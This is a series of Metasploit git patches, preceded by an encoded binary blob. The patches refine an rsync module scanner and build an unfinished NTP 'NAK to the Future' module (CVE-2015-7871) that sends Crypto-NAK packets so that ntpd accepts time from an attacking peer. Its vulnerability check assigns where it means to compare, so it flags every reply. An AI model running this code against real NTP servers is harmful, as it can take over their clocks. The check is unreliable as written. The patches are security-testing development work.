z7LB%87EO9@lY_oNx5z-SRo*Z*`+i^sn){cF#MU@?XeUg_*oa&+jADPBdOW2G+o~|D z<q`g%`_H#>GN=Xf-ZUTH!@(ZaB@*M4`ppP##Cj<+z<=XT7%HXT++u7VDju0*ka@hu zFaJ)lP{|M?x29p1_8M&PfxVWuszw1&)%RuHEp3h+w(R}Zt84Jz_jBs{TH*E6W3KpL zj5*uSN3A&j6g&X%Bm{EWh14eo((_Z1<*PFm$PxIvzN1zs0Fe6gb2nYaa<Xoia$B!f z^7|(O*TJtTKRIET3XxQ8a;ffE_w7Xc+~42gcR(E##p#P-NWQ`<BygSljD+o4vp+C1 z#E%cBOtN(380d&?taZ8&?fEe0?D%e((J-Xr44lmJirum{&|AM91wnEX@ivglCJ0Tw zg=#8pN6xasig5m|&CuHm$96irk*X7Db8{db0Wj+r&WYNMAyTgZ3Ak`ZM-eNNpBTG< z69tPsGb)9(krtQB^)&@aX~?{pn0rc~56%Fk$?Mw;tN<3=W5U}NV*IYS7iRbfy#2mr zZx%q<ZI?SD{a%A(n%ZxyXzk~_R8L_ghpuX!+OX)D+9mRe=daNh1N9WXas(}?*WjRC zs>Hm`fZ>hEuf6iJE751j8D$I_!V@RunEcpf$H;c}aWJkEF2v6QZ>MUIF=8K^)?h>! zgI#J9YTMXSf}Ea+Fx@{45>Qkf$|PjYWorgs!!>yt5PN+H>xDetdsC4pXm#g|6^>jw z#R@ON>bR!Qc^*N!OC}SzL}pWc4BFxuX@0|e<SDoXz8=z38?2tL6qoPNdXJJch-pb) zrTP%ORBAA_t&XHp7qaMhZd)1>_4Up>0OBZ4S`T)Aj(9BJc<4dw7V~!og>GuwfIhLO z4f223tn7a?Xi?#_96&n+LqVb{6qA-+o+hytM?S|K#V?%M2`<2w<JQnJh74IIMT_>9 z!W(of5-e}Dzgc$!v-pm*fKvmTGoj8|_Hx<eP_pge`X0RlYa5GrZ$dfPw2AV))g+*h zy{AKmp}5x~hRb2G<-j8&XSx`>u<zYTUP5$}@`oW@gaPWStoczWmnDW?=eLb#y|f7? z!;YAUD_iKnolYB3Ihw)6Ux5NQ_&!4$NsWh0E8nCv86qKGw3%qQ&tn*^*nK=XPht(h zO#&{~N5?bgr@3q7_fEst7pLfToikcXW?1$i>!=A$!HJ=_T#EW99x7d2z`3w<dq}!i z6c*3;3tkwRg#eimvOm!!8JMobx5C&+eO#iMdy$+(mwsHVdRU>39?WW>&Vr;H7_Q$2 z<4+C82`Gl+M9)yL)evCU*5VW=`G%memtX#JC(Ci~s`#xZQKTxy*btp~k!U)_t;Nxe zfz~5>vX%P^p-C;6b2*Vdvo<ZSb(TlZ(x$9g%-M+U*kH5SOIgpOv&ZYe{mXtzMOK?V zUUWNQ<?}akKm<(Xj5uUa#R+mEqP2{`Gt|*sV30o%`r*g?T=-<=+V${Au{r|~RWbxg zthm@{5?JjnY1oGK-R|PR$UqC!-t|qFR`AwwQbRLUc;}!QGDeEQw}%QmXG@wjd+>@8 zg0@9(uq%eN5#+Vvc`qrO3QRvV8DW2-`%t**L(35ZAq$64V<`REEb_X3X4Z#lKFv~+ z8v0|Am%z#y_~upY=h~S5Lj!Z94GqJXdz?ygXCfad=XY6$;9q7WwDR7Cc}WFVCuk@^ zL0vxJJC4qd9OTTPuk?Y_IrwsE2x~Y!itX}!hh?rEjp_($ayw)gmNg0Um}tt3BsiK( zl##yyC)M)}Pv#CnRS8o)rF{eWs#>Py1<jjzrZn|d5P|YI$YJx;1JEOay_?X*<2V>} zY376b`(@<m=5Yogx<(Q@c}E2U7A+Xpj1T7h5ZuvP9rheS`~rN|t3>K{lZ?nMVGm%x zZzZJV&P%H&=W650xf1=;qqMM%qLaRrnd83?@+K)QDxe7<^CUoEblJBT_xFf>LIlNZ zu|SpvMS8C>0R|7h48^oA$Rv3<3f8`kd3^v6&@j3=h`Giz9}~8=M{%)e_Gr3uymE9o zyvojQ2TS3PBih@<K-4xCdp&e3$G0b`E6q4HGVI<%2Bo5Jx>Y)ev}u9T2H#ae$*gwl z#zNr?5DKUi?pH=;I<GvVJNjm|6;4N#q{%`#7Lyq3e}Lbsvt~b%8B?%HgKqaOGD+7? zG9*qTIuU1dyaJuey7mz5I!bqXO<@wifDveM<gPA^OFdWSW(mC(3`6y3t`$Y2b)&gX zsduUM2uat@%G7;gwDbWDp-1xdC<Oee#I&l(Y$AfeKx}ki8fLnGY3MB>6~W}iSCRn9 z$zdjpNsKhwIgB*AS~b&}aqFCJK?<SyyGju$_o5>C6lzz@(W(xH-Hbz~(k*|T9HOH0 z7|Mmxp#l8T)#<?|HDy5C4!@T^N&onsD@Agb@Br8H*0y1bgHInv5o{w6mx=*bJMG+b z(l;>5nzW9{A`iX6l0}~*$~)5BUKEWz3N$i5?tPpmnmcP_G^2EH`Z%;k%9NvAVJf>U zbi6U`G;!r8$D?Lf;6Z%;jI`?00Y@XI7t%-C9z6t%opKrkt72j{f^!PZM`S;~Lz$E8 zTzWT?RJu9Nw<(T?`x@dQe>b{eKs>!~AcZ(<<T!xyyS*c!EEey(kia5@m2oci`j|ch zLZ64?9NiR_*Mi!wrQ&lG{avpx&tKIUQBHfk%3kVey{A8#d2{~QF<za9T3D#f&9u#? zo#Zgs5)#7dxGuYp?kdv~kdFYx7{ub##ohia44}evgL3)gUO+uD`bS3Ow<O3vGaLVk zA^!{xDLU#o8mZ`6I{i#iWGYzLpgu*9yDbRI>I8EX_Vb(;!IV`az5Q8`=de)W3N;x& z$<k=U0x)ZuYkh_$KjB0bW<SXHa)F1j>_HD%+8?#nn2hqAT|eyHy#j&cP9_?XGb~1k zU#?(TPQwu5NVj0_FF2|?z6{_ARx^7mY+ha{KE-ZaqhixmILujwhnL10jCqVpQfYz^ zjrYib<;8aYxowdP->om&M2*{r!u|`~L5JC5ceSEnsB;L(tezUq97R22?UyXQrVUwy z+ecGIEOtxrU|Cm7uYBpS;bi1wTgk5Yz(s^0NH%#ZEhpWk>Ry8PWrhw8oaIR1MY!XR zoLuY{kObwgW^OK8hPN?Z+nwRGE`f1YZab9-EnY>;!s_y*=0ahcA;Li?2|?H);vAXB z#!gg4Izdt`?VR{_3%!U@BCX0H4wHTnqnx&w-=~I;KM`f_H0#8z*LjK!C|z+ld~-1I z>LPo~-VcLpZ$fksdztWE@o4Vw#y1?7ZtVWm7c(6vfh8<J-YHn;He!#kPnhyFhL_8c zHQ}*udJ@F8+KGI^rV;_`i^QAxq+REr3f?XcV2#WIuH<6!_Q)g|C5H*%ywrTLUr7bm z;19A4Bmrxol=Z;Q+}v>kzV~plRYp$4XqK9pyAVxI(U~==A!Z56+*^z9$f?RYC{4aU zGmQ-h>P9v&ARwgZARyF#NTk1fj7-%CO~5SrBO>i6Q)GBCrGGdT`4F-8DM}tHZXjze z4Kn7$G@J7r{#!pIV`k=vg+g&%@mq=Pz3zOoNw#vY{PH)hl#FHunv3TT-tCiDd=r&B z!=v=22VKM~eT`RHXIzyYV>}L5(~sJ2u>A1f_j?3hHMQ=d$bGdq0LX1y92|bxFT2Ha zSMcqd9e|HHCan}+dB5D&I($+uf|gb>e+NNp=0uSdeN^!d#7{~Y-;B%d*7a(lyECuI z1Bn2!-YHPLnPP5wV&3W1NLT0O5&gEf1WSpAiqOzZc};{>W5i(#rLsOFD66oC6v_Lv z%f?FqU`#2|$OmO@R;uvgT+!)3Un9mm#g$6okd4B)N%2xnV@K?IHrr^W4f0f}QaH*O z>`(d>iL%2mMYp0X>64+@oZ>(NfBaS!#j%o!MCq2Ty;QwmWe24Q)FN|!=4o7mTs0^K z=fQk&GcB?JbYbQ;$TI0ldqCHF!$}6%T{8JOl{rO3=@{JYDszp_bg#jH@FejJ1QpZU zV#cyyv9Zmh>7xT-!Gfh^Q<ac}5%Uqa=#r){IqKp)(JwAvq?HKz-Vzxp!Je0fTSLML z*G>A7hGN2GMU{waGCP7cjM#GxsA`GVrk+m0H1>m*_k-@$<LrR2FZDBzC{3yuyp~9+ z@jd!Z#416gH1Z+3&{2C&R!+i&V>q##3`|}qrcf#&1A4L<7;I0=HXJZKKfBOU1%9M% zogunVs@4tW>4riiO{ijUhbH2v_Icx~U<!b(nT@$n8dcoqSkXBGxg|pF5-`hnWZA(f zR0ytD*e51h!<qz_H_x!)my=?SxG2ID^?D;w=^Y)8bW}cSczIMw4Q^BG%jIgVcicGJ zvl5uqzKaolthE66B^6p*kLnKm9xxXS_?8;AReDe>ASl-odD7!O7;xSeM=Cphl?jkA z|2=t_t$2Fi9-59^@d0)O2OwusLeg8TQH-9PMnydWN7JzHR&HrQQ!}|i?jcuBxW)gq zT!17gbo#3F0=$q>p}lUI?Q7;M|K0v(Xo<Z9vamVgT=h@;KnP(=^a*19^w2|M=g>K- zbs3aq;UzNthEN{j%WzY4yM|CN;^mj?1SnR-ml39z6GX(6>mZr3#VIrVE1#ruAS)i1 z{d<iW%g^1uh;~HfxK;8If#m?dXiv^nb401!Mmtb)2{qX6iC2=<_Un^mMgxPf(#|ey z1z#*Tr5<=!<JZ)=$nI|2j4Zctw|F_IpW!>*rkphv;G71*dD}6w_q)Aey~YuO_evko zVQn4zc97t!+}7JD&+JWqMS53ynVCkT*NLOsCZ+a)Qx&ydnlq%!)19Z{eCq&*V*lOj z^00I=d4y*w9!6Vsx>pFsN2R?6EBI8cgK6_~bmaq?e(4@PTn)VQ%bQ#(*BIw(jPg&T z&a^GS8|v*haq~M3Un)pZ=lx%+m%Y~%w{giTp>edasW?T^HQ5nNPtf)3Zms|!f0*HY zC;VQ2ERGKwx>~ANWS5DpGqxHGslV8d$^bt>gFLg!h!!XzLY81n&h)llZH)9&K1wbE zUjjL~g&chz&W<6T@uY7<|3@U7Bs*LJ!!Hd3YEdDEmL1(po>GP_+P(O$A(4xx);hes zn><WSC%h^ie6RRk<`EEX&W8-z;Skb@A`lvXLm?+L`Ua5@!+ZmgAj{<T0gvPwkZ^|D zb&Z!W#_X0gKnB})q73VG?H`EdD$$jG!jdq?;1)b!lIj^ZkP>)@ox7?|t{XQV^GZB) z-CsDGcVrWre2no1Cm}+rKP0?T60755AjcR~s;N})+%khsY-|TRHFD=?bdI1`pJUpc zNknWC3J!y1#sFWO2_>A)+FSAu5;C$l?TcijTX=HRFxtC@x;3;^C)<hg=hH4MbCG4= zLD-NUZ#kX}RU?3XmqE%z#q05|KuJ5^NhqogrwQ78blw!#Q1s()piZS-$$d=AxS$lb zaF{W9X*WONiGNz05!xnF`f^YV?%+~(t(jSlgylQiW_Bn4rxli<73nt%e9_4iwn?rN zp)1Tm+0v`Pb_PEhDf*Z=CT@bVo&dw$?3S0GTPqfsN>1cv=BaTYaazA)GVp}$N7H9@ z5OE8uiQv7oLW=VC+3cqYY_i868nDagzU66LvOffC(blYBZ6EF`6u)<jWZ_A4$2Xgn z4|j?lsdWh>y;{$#I4pR9gxqWY@|ajmn~gshrY2UI1FVw9J;R<V@6>OhNKQu++vA0# zi7l;yGG~yD14BaHSQm3|Li0l%TFSZXda`mCsg7Ixd>sAgwmoOM!00wot;<MaRBhj9 z&+^`Ga{6R#pl*JxHO>mGD0dzAN7!Yc-+AmA!NME?MJ>8(X3a$9>$CIvx7AlW+NZ&m z3e$$ZJ(DcnTkVnUNpFUG<W_7MOJTb`6h|o(xx!SLjf+2T^0gcrA%7PPJvKp}3X)4h zIt_?;;U8fP+sGH4@Y+a7x_`RFIYLmsJZdE2daW!gnW5~;SoI8LGGB&+f{qih<gJY{ z6Q36Hw{nC)jcj=JjoV7wmztEm7TCyj3)~?m>p;~O>|>`Mr;3m9miO!2pX^#3<6>1m z_oE&))7z8WtP}FksC#}|`J`G|VhA5}na+sW!s}5V1+ld|JI23Ja%*6U!^ex%xX1LJ zdKK(bq1ioY`Sy;=amk_m3j$M|z9}b`;Wv~_L45dGowoV43h}*+i~)CH7bHwKJCZ5H zDQKnz$qQo}6>-!qJ8y0Ct}jw(bi?|#5BdS#StylVc@-ZgQ52f7`lQ@3TZ;S1Rdx<Q zbBtp{VHB^2$cAA6;>PfkMP3+>xu?iRdBhLwtI>8Yc#fhY_#s-d-A5_!bncPN0Z$Cv z$x3^C3a^2J!GZky`lct}<sa=I)lPp+`#S{syx!^89Ezvz|DX1c>ZgASeqMj{qeAId zYk2DZRj>4Gsn2Kps95^d=AXL1x$gf-*pCXPUk&2P`~Pj~KfV6HVgCNr&nudK!EpU2 zn16rteJ<d6P0KF<KhoF#cAfvd!sWT3=XDsr1j#<d$^H+5{&HrYi+P@W|0Sjq`oD?! zJr(~P`FR5O7xL^=ncjc?0Y8y{rgNVoKhGcjLjC~%hsZy(iO-RrC#QZPS3dFikJkJ% zRrMVCc}C(FG64Axk$>hVo+CdG!2d$_LHR@EpW*oD$j<|_zmPl8{t)?RnD#mH^ElNn zWCYAVME>tltLH+WhZ24XU4F7Sf27>!fraNHo*y!QiJ-vyGZBC9Qb?#Db5WmO5Kp~j R(x-$eh@60sBohO}{{uK*tSkTk From 4effd3aa8189114a24e1508e1b45df8f9d0b0b50 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 09:12:57 -0800 Subject: [PATCH 1045/2172] Handle case where motd comes after negotiation --- .../auxiliary/scanner/rsync/modules_list.rb | 44 ++++++++++++------- 1 file changed, 29 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 10ad3e7f28..8d27b34839 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -62,24 +62,15 @@ class Metasploit3 < Msf::Auxiliary # upon connecting. abort if we get nothing return unless greeting = sock.get(read_timeout) - # split the lines we got back into those likely to be control lines and - # thoese that are likely motd lines - greeting.strip! - control_lines = [] - motd_lines = [] - greeting.split(/\n/).map do |greeting_line| - if greeting_line =~ /^#{RSYNC_HEADER}/ - control_lines << greeting_line - else - motd_lines << greeting_line - end - end + # parse the greeting control and data lines. With some systems, the data + # lines at this point will be the motd. + greeting_control_lines, greeting_data_lines = rsync_parse_lines(greeting) # locate the rsync negotiation and complete it by just echo'ing # back the same rsync version that it sent us version = nil - control_lines.map do |control_line| - if /^#{RSYNC_HEADER} (?<version>\d+(\.\d+)?)$/ =~ control_line + greeting_control_lines.map do |greeting_control_line| + if /^#{RSYNC_HEADER} (?<version>\d+(\.\d+)?)$/ =~ greeting_control_line version = Regexp.last_match('version') sock.puts("#{RSYNC_HEADER} #{version}\n") end @@ -90,7 +81,29 @@ class Metasploit3 < Msf::Auxiliary return end - [ version, motd_lines.empty? ? nil : motd_lines.join("\n") ] + _, post_neg_data_lines = rsync_parse_lines(sock.get(read_timeout)) + + motd_lines = greeting_data_lines + post_neg_data_lines + [ version, motd_lines.join("\n") ] + end + + # parses the control and data lines from the provided response data + def rsync_parse_lines(response_data) + control_lines = [] + data_lines = [] + + if response_data + response_data.strip! + response_data.split(/\n/).map do |line| + if line =~ /^#{RSYNC_HEADER}/ + control_lines << line + else + data_lines << line + end + end + end + + [ control_lines, data_lines ] end def run_host(ip) @@ -126,6 +139,7 @@ class Metasploit3 < Msf::Auxiliary name_comment << rsync_requires_auth?(name_comment.first) disconnect end + # build a table to store the module listing in listing_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, From 962cf77873292a4c4be28f467981a13b894763a0 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 09:14:41 -0800 Subject: [PATCH 1046/2172] Not all modules have comments --- modules/auxiliary/scanner/rsync/modules_list.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 8d27b34839..b85232449f 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -51,7 +51,8 @@ class Metasploit3 < Msf::Auxiliary # on its own line, lines separated with a newline sock.get(read_timeout).split(/\n/).map(&:strip).map do |module_line| next if module_line =~ /^#{RSYNC_HEADER} EXIT$/ - list << module_line.split(/\t/).map(&:strip) + name, comment = module_line.split(/\t/).map(&:strip) + list << [ name, comment ] end list From a120dd1ea9275c8a687f1b9da12ed7bd09024183 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 09:18:10 -0800 Subject: [PATCH 1047/2172] Return nil when no motd lines --- modules/auxiliary/scanner/rsync/modules_list.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index b85232449f..4bacf7183d 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary _, post_neg_data_lines = rsync_parse_lines(sock.get(read_timeout)) motd_lines = greeting_data_lines + post_neg_data_lines - [ version, motd_lines.join("\n") ] + [ version, motd_lines.empty? ? nil : motd_lines.join("\n") ] end # parses the control and data lines from the provided response data From 6c0034fba62e1552227e156d92ddf0a3d36d3cce Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 09:32:54 -0800 Subject: [PATCH 1048/2172] get_once for negotiation and trailing motd_lines This feels hacky. --- modules/auxiliary/scanner/rsync/modules_list.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 4bacf7183d..1ad3e9101e 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary def rsync_negotiate # rsync is promiscuous and will send the negotitation and motd # upon connecting. abort if we get nothing - return unless greeting = sock.get(read_timeout) + return unless greeting = sock.get_once # parse the greeting control and data lines. With some systems, the data # lines at this point will be the motd. @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary return end - _, post_neg_data_lines = rsync_parse_lines(sock.get(read_timeout)) + _, post_neg_data_lines = rsync_parse_lines(sock.get_once) motd_lines = greeting_data_lines + post_neg_data_lines [ version, motd_lines.empty? ? nil : motd_lines.join("\n") ] From 0dc6f6605b77398b19a4f361bdcf34696f2cc8b9 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 09:48:48 -0800 Subject: [PATCH 1049/2172] Remove errant options print --- lib/msf/ui/console/command_dispatcher/core.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 8e6be4fe7a..381ca1ee33 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3551,7 +3551,6 @@ class Core def show_advanced_options(mod) # :nodoc: mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ') - print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) print("\nModule advanced options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) # If it's an exploit and a payload is defined, create it and From a4c260f7bedf6fd8a965803f0e8b9a678c0d985d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 09:51:40 -0800 Subject: [PATCH 1050/2172] Simplify docs --- lib/msf/ui/console/command_dispatcher/core.rb | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 381ca1ee33..15a945b471 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -813,31 +813,28 @@ class Core # # Tab completion for the advanced command (same as use) # - # @param str [String] the string currently being typed before tab was hit - # @param words [Array<String>] the previously completed words on the command line. words is always - # at least 1 when tab completion has reached this stage since the command itself has been completed + # @param str (see #cmd_use_tabs) + # @param words (see #cmd_use_tabs) def cmd_advanced_tabs(str, words) cmd_use_tabs(str, words) end # - # Tab completion for the info command (same as use) + # Tab completion for the advanced command (same as use) # - # @param str [String] the string currently being typed before tab was hit - # @param words [Array<String>] the previously completed words on the command line. words is always - # at least 1 when tab completion has reached this stage since the command itself has been completed + # @param str (see #cmd_use_tabs) + # @param words (see #cmd_use_tabs) def cmd_info_tabs(str, words) cmd_use_tabs(str, words) end # - # Tab completion for the options command (same as use) + # Tab completion for the advanced command (same as use) # - # @param str [String] the string currently being typed before tab was hit - # @param words [Array<String>] the previously completed words on the command line. words is always - # at least 1 when tab completion has reached this stage since the command itself has been completed + # @param str (see #cmd_use_tabs) + # @param words (see #cmd_use_tabs) def cmd_options_tabs(str, words) cmd_use_tabs(str, words) From 3c92b109d762e0f1667af140b021499f7f6a760d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 10:49:48 -0800 Subject: [PATCH 1051/2172] Don't wait for motd when testing for auth --- modules/auxiliary/scanner/rsync/modules_list.rb | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index 1ad3e9101e..d2f9d12a30 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -58,7 +58,8 @@ class Metasploit3 < Msf::Auxiliary list end - def rsync_negotiate + # Attempts to negotiate the rsync protocol with the endpoint. + def rsync_negotiate(get_motd) # rsync is promiscuous and will send the negotitation and motd # upon connecting. abort if we get nothing return unless greeting = sock.get_once @@ -82,9 +83,11 @@ class Metasploit3 < Msf::Auxiliary return end - _, post_neg_data_lines = rsync_parse_lines(sock.get_once) - - motd_lines = greeting_data_lines + post_neg_data_lines + motd_lines = greeting_data_lines + if get_motd + _, post_neg_data_lines = rsync_parse_lines(sock.get_once) + motd_lines |= post_neg_data_lines + end [ version, motd_lines.empty? ? nil : motd_lines.join("\n") ] end @@ -109,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) connect - version, motd = rsync_negotiate + version, motd = rsync_negotiate(true) unless version vprint_error("#{ip}:#{rport} - does not appear to be rsync") disconnect @@ -136,7 +139,7 @@ class Metasploit3 < Msf::Auxiliary "#{listing.map(&:first).join(', ')}") listing.each do |name_comment| connect - rsync_negotiate + rsync_negotiate(false) name_comment << rsync_requires_auth?(name_comment.first) disconnect end From 8fb0596888bf82e0d80137a929bf4772babbb5cf Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 12:07:18 -0800 Subject: [PATCH 1052/2172] Add more refs --- modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index 516ce7ed1b..ea1d4f3073 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -25,6 +25,8 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'URL', 'http://talosintel.com/reports/TALOS-2015-0069/' ], + [ 'URL', 'http://www.cisco.com/c/en/us/support/docs/availability/high-availability/19643-ntpm.html' ], + [ 'URL', 'http://support.ntp.org/bin/view/Main/NtpBug2941' ], [ 'CVE', '2015-7871' ] ] ) From 17c4aa234800a7050bb69ffc6be9340f56cbcd5d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 12:18:35 -0800 Subject: [PATCH 1053/2172] Fill in description; style --- .../scanner/ntp/ntp_nak_to_the_future.rb | 57 ++++++++++--------- 1 file changed, 29 insertions(+), 28 deletions(-) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index ea1d4f3073..e6e2e8d598 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -12,30 +12,39 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::NTP def initialize(info = {}) - super(update_info(info, - 'Name' => 'NTP "NAK To the Future"', - 'Description' => %q( - Fill. This. In. - ), - 'Author' => - [ - 'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://talosintel.com/reports/TALOS-2015-0069/' ], - [ 'URL', 'http://www.cisco.com/c/en/us/support/docs/availability/high-availability/19643-ntpm.html' ], - [ 'URL', 'http://support.ntp.org/bin/view/Main/NtpBug2941' ], - [ 'CVE', '2015-7871' ] - ] + super( + update_info( + info, + 'Name' => 'NTP "NAK to the Future"', + 'Description' => %q( + Crypto-NAK packets can be used to cause ntpd to accept time from + unauthenticated ephemeral symmetric peers by bypassing the + authentication required to mobilize peer associations. This module + sends these Crypto-NAK packets in order to establish an association + between the target ntpd instance and the attacking client. The end goal + is to cause ntpd to declare the legitimate peers "false tickers" and + choose the attacking client(s) as the preferred peer(s), allowing + these peers to control time. + ), + 'Author' => + [ + 'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://talosintel.com/reports/TALOS-2015-0069/' ], + [ 'URL', 'http://www.cisco.com/c/en/us/support/docs/availability/high-availability/19643-ntpm.html' ], + [ 'URL', 'http://support.ntp.org/bin/view/Main/NtpBug2941' ], + [ 'CVE', '2015-7871' ] + ] ) ) register_options( - [ - OptInt.new('OFFSET', [true, "Offset from local time, in seconds", 300]), - ], self.class) + [ + OptInt.new('OFFSET', [true, "Offset from local time, in seconds", 300]) + ], self.class) end def scanner_process(data, shost, _sport) @@ -64,12 +73,4 @@ class Metasploit3 < Msf::Auxiliary scanner_send(probe, ip, datastore['RPORT']) # TODO: whatever is next in order to let us win the race against the other peers end - - def scanner_prescan(batch) - @results = {} - end - - def scanner_postscan(_batch) - # do something here... - end end From ced20ba51cfe51c66fcd537f0384302143c06986 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 12:46:58 -0800 Subject: [PATCH 1054/2172] Refactor NTP symmetric packet creation; add vuln detection to NAK to the future --- lib/rex/proto/ntp/modes.rb | 9 ++------ .../scanner/ntp/ntp_nak_to_the_future.rb | 23 ++++++++++++++++++- 2 files changed, 24 insertions(+), 8 deletions(-) diff --git a/lib/rex/proto/ntp/modes.rb b/lib/rex/proto/ntp/modes.rb index 1fbc01db49..7e0004295b 100644 --- a/lib/rex/proto/ntp/modes.rb +++ b/lib/rex/proto/ntp/modes.rb @@ -92,15 +92,10 @@ module NTP end end - class NTPCryptoNAK < BitStruct - # 0 1 2 3 - # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 - # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - # |LI | VN | mode| Stratum | Poll | Precision | - # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + class NTPSymmetric < BitStruct unsigned :li, 2, default: 0 unsigned :version, 3, default: 3 - unsigned :mode, 3, default: 1 + unsigned :mode, 3, default: 0 unsigned :stratum, 8, default: 0 unsigned :poll, 8, default: 0 unsigned :precision, 8, default: 0 diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index e6e2e8d598..cc504c69fa 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -53,9 +53,10 @@ class Metasploit3 < Msf::Auxiliary end def scan_host(ip) - probe = Rex::Proto::NTP::NTPCryptoNAK.new + probe = Rex::Proto::NTP::NTPSymmetric.new probe.stratum = 1 probe.poll = 10 + probe.mode = 1 now = Time.now # compute the timestamp. NTP stores a timestamp as 64-bit unsigned # integer, the high 32-bits representing the number of seconds since era @@ -73,4 +74,24 @@ class Metasploit3 < Msf::Auxiliary scanner_send(probe, ip, datastore['RPORT']) # TODO: whatever is next in order to let us win the race against the other peers end + + def scanner_postscan(batch) + @results.keys.map do |host| + @results[host].map do |response| + ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new(response) + if ntp_symmetric.mode = 2 + print_good("#{host}:#{rport} - NTP - VULNERABLE: Accepted a NTP symmetric active association") + report_vuln( + :host => host, + :port => rport.to_i, + :proto => 'udp', + :sname => 'ntp', + :name => 'NTP "NAK to the Future"', + :info => "Accepted an NTP symmetric active association by replying with a symmetric passive request", + :refs => self.references + ) + end + end + end + end end From 1c3e4d2cbf1b939dfc369bd0b877eef6f3ad39dd Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 13:39:09 -0800 Subject: [PATCH 1055/2172] Refactor to use Scanner; add check; add beginnings of actions --- .../scanner/ntp/ntp_nak_to_the_future.rb | 90 